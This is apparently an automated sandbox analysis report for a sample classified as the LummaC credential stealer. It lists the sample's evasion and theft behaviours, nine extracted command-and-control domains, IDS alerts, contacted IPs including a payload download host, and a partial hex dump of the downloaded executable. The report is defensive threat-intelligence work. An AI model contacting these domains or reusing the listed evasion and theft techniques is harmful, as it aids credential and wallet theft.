Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1568436
MD5:	8eb01ab47a3558db23ebcb5c3fd0cba6
SHA1:	2a88a18bbc5e783f253bb7a45e38c35ccdd93653
SHA256:	068497e046e9612da53294fb1d535e294edae402cfaf5da194223c46eceaba3e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6932 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8EB01AB47A3558DB23EBCB5C3FD0CBA6)

chrome.exe (PID: 2908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1936,i,999320680463987283,12953525220714786104,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7296 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1980,i,14963498340611043939,10306569883163506066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["formy-spill.biz", "dare-curbys.biz", "print-vexer.biz", "covery-mover.biz", "atten-supporse.biz", "impend-differ.biz", "se-blurry.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2674431415.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2637466375.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2598046058.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2715201429.00000000019FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2674453833.00000000019FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2717612657.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:22.059375+0100	2028371	3	Unknown Traffic	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:26.032946+0100	2028371	3	Unknown Traffic	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:29.875969+0100	2028371	3	Unknown Traffic	192.168.2.12	49713	188.114.96.6	443	TCP
2024-12-04T16:10:33.728452+0100	2028371	3	Unknown Traffic	192.168.2.12	49714	188.114.96.6	443	TCP
2024-12-04T16:10:37.633947+0100	2028371	3	Unknown Traffic	192.168.2.12	49716	188.114.96.6	443	TCP
2024-12-04T16:10:41.832221+0100	2028371	3	Unknown Traffic	192.168.2.12	49720	188.114.96.6	443	TCP
2024-12-04T16:10:46.391340+0100	2028371	3	Unknown Traffic	192.168.2.12	49722	188.114.96.6	443	TCP
2024-12-04T16:10:54.699581+0100	2028371	3	Unknown Traffic	192.168.2.12	49723	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:24.726112+0100	2054653	1	A Network Trojan was detected	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:28.238615+0100	2054653	1	A Network Trojan was detected	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:57.565661+0100	2054653	1	A Network Trojan was detected	192.168.2.12	49723	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:24.726112+0100	2049836	1	A Network Trojan was detected	192.168.2.12	49711	188.114.96.6	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:28.238615+0100	2049812	1	A Network Trojan was detected	192.168.2.12	49712	188.114.96.6	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:22.059375+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:26.032946+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:29.875969+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49713	188.114.96.6	443	TCP
2024-12-04T16:10:33.728452+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49714	188.114.96.6	443	TCP
2024-12-04T16:10:37.633947+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49716	188.114.96.6	443	TCP
2024-12-04T16:10:41.832221+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49720	188.114.96.6	443	TCP
2024-12-04T16:10:46.391340+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49722	188.114.96.6	443	TCP
2024-12-04T16:10:54.699581+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.12	49723	188.114.96.6	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:59.050171+0100	2019714	2	Potentially Bad Traffic	192.168.2.12	49724	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:20.578260+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.12	57429	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:10:44.705570+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.12	49720	188.114.96.6	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/VD	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apil	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/&G	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/api9	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/~DEL	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.6932.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["formy-spill.biz", "dare-curbys.biz", "print-vexer.biz", "covery-mover.biz", "atten-supporse.biz", "impend-differ.biz", "se-blurry.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.60:443 -> 192.168.2.12:49830 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.12:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.12:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.12:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.12:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.12:49831 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.3056614954.00000000069A2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2971804322.0000000008AB0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.12:57429 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49712 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49716 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49714 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49720 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49713 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49711 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49723 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.12:49722 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.12:49712 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.12:49712 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.12:49723 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.12:49711 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.12:49711 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.12:49720 -> 188.114.96.6:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 04 Dec 2024 15:10:58 GMTContent-Type: application/octet-streamContent-Length: 2745344Last-Modified: Wed, 04 Dec 2024 14:25:36 GMTConnection: keep-aliveETag: "67506660-29e400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 1a 3a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 76 79 6a 67 69 6e 65 00 a0 29 00 00 a0 00 00 00 84 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 63 6f 69 71 67 65 61 00 20 00 00 00 40 2a 00 00 04 00 00 00 be 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 c2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.43 13.107.246.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49712 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49716 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49714 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49713 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49720 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49711 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49723 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49722 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.12:49724 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 173.222.162.60:443 -> 192.168.2.12:49830 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.60
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGro34gfU62AXd9&MD=huvo7m3l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGro34gfU62AXd9&MD=huvo7m3l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
